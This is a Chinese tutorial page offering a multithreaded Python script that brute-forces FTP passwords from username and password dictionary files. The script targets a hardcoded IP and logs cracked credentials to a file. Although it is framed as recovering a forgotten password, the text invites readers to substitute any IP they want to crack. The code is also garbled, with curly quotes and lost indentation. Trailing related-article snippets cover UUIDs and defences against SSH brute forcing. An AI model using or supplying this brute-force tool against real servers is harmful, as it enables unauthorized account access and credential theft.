忘记ftp密码使用python ftplib库暴力破解密码的方法示例_python

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

复制代码 代码如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

复制代码 代码如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

时间: 2024-11-03 10:25:58

忘记ftp密码使用python ftplib库暴力破解密码的方法示例_python的相关文章

Python用UUID库生成唯一ID的方法示例_python

UUID介绍 UUID是128位的全局唯一标识符,通常由32字节的字符串表示.它可以保证时间和空间的唯一性,也称为GUID,全称为:UUID -- Universally Unique IDentifier,Python 中叫 UUID. 它通过MAC地址.时间戳.命名空间.随机数.伪随机数来保证生成ID的唯一性. UUID主要有五个算法,也就是五种方法来实现. uuid1()--基于时间戳.由MAC地址.当前时间戳.随机数生成.可以保证全球范围内的唯一性,但MAC的使用同时带来安全性问题,局域

Centos下防止ssh暴力破解密码2种方法

方法一, 收集 /var/log/secure 里面的信息,若是某个IP 链接次数超过一定次数 ,则把此ip记录到/etc/hosts.deny里面. 通过crontab来执行,每天的1点1分执行一次. 1 * * * sh /root/bin/Denyhosts.sh   #!/bin/bash #Denyhosts SHELL SCRIPT cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $

黑客开始利用云计算暴力破解密码

本文讲的是黑客开始利用云计算暴力破解密码[IT168 云计算频道]使用云计算服务来替代在公司里设立维护大量服务器,显然对节省企业的成本有利.不过现在看来从云计算服务中受惠最大的恐怕是黑客等群体,黑客们开始利用亚马逊EC2等云计算服务来暴力破解并窃取用户信用卡密码.不过据安全专家David Campbell的计算,即便用户不使用安全专家建议的大小写字母混合式的密码组合,使用亚马逊提供的云计算服务进行密码暴力破解的黑客,出于成本过高的原因可能也将无法使用这种服务对具备12位长度的密码进行破解. 目前

des 加解密-暴力破解des的方法或者c代码。

问题描述 暴力破解des的方法或者c代码. 当明文为纯英文文档,密钥为纯数字时,完成暴力破解密文破解实验,要求20秒内完成. 解决方案 纯数字还分一个5位10位.每多一位,耗时增加10倍.谁能保证20秒完成. 解决方案二: 1.这个问题可以这么的分析,对于des算法来说,如果确定秘钥为纯数字,则秘钥的空间最大为100000000,即1亿. 2.目前普通pc,一个核des加密性能在40MB以上,这样一个核每秒至少可以测试的秘钥为500万,20秒就可以测试1亿个秘钥. 从以上分析可以看出,如果可以确

如何利用fail2ban阻止ssh暴力破解密码

连接上互联网的linux主机不免有人探测你的ssh的密码 最近发现我的机器被来自各个国家的黑客不停测在暴力猜测密码,经不起这样的折腾! 后来发现了一款软件可以阻止这样的攻击,很奏效的! 下面是我的配置: 下载源码包安装 地址:http://www.fail2ban.org/wiki/index.php/Main_Page 上传到服务器上 安装 #tar xvfj fail2ban-0.8.4.tar.bz2 #cd fail2ban-0.8.4 #python setup.py install

Python标准库urllib2的一些使用细节总结_python

Python 标准库中有很多实用的工具类,但是在具体使用时,标准库文档上对使用细节描述的并不清楚,比如 urllib2 这个 HTTP 客户端库.这里总结了一些 urllib2 的使用细节. 1.Proxy 的设置 2.Timeout 设置 3.在 HTTP Request 中加入特定的 Header 4.Redirect 5.Cookie 6.使用 HTTP 的 PUT 和 DELETE 方法 7.得到 HTTP 的返回码 8.Debug Log Proxy 的设置 urllib2 默认会使用

md5 16位,密码大概1-8位,暴力破解大概需要多久时间?

问题描述 另外 ASP.NET的membership的用户密码用的是否MD5加密算法? 解决方案 解决方案二:首先你要知道MD5不能破解只能穷举匹配(当然如果你在山东大学王教授手下就不一样了)...根据密码的长度和复杂度不同穷举次数不同...8位强密码按每秒1万次穷举的速度最坏情况需要1万多年...另外ASP.NET的membership的用户密码支持MD5,但是默认是SHA1而且可选其他类型算法...就算是MD5也不是16位,.NET只支持32位MD5...解决方案三:如果是8位的密码,可以是

sql注入原理分析与web暴力破解密码代码

如果发生这种方式的sql注入,一定是程序内部使用的sql拼接,并且没有对用户的输入的表单参数过滤或者没有对url参数过滤.      对于sql的拼接,基本上有两种方式:      1,如  sql = "select * from table where id=" + 输入参数;   形式         此种最好防范,只须要对输入参数进行数字验证,如果忽略此处验证,后果也是最严重,就算你对参数进行 单引号过滤,等号过滤,sql关键字过滤 也于事无补.         如果没有数字验

linux服务器下通过iptables+Denyhost抵御暴力破解的配置方法_Linux

使用iptables 现在每分钟连接ssh的次数 #允许本地环回接口访问 iptables -A INPUT -i lo -j ACCEPT #对已经建立的所有链接都放行 iptables -A INPUT -m state –state ESTABLISHED -j ACCEPT #每分钟对ssh的新连接只允许两个,已建立的连接不限制 复制代码 代码如下: iptables -A INPUT -p tcp –dport 22 -m limit –limit 2/minute –limit-bu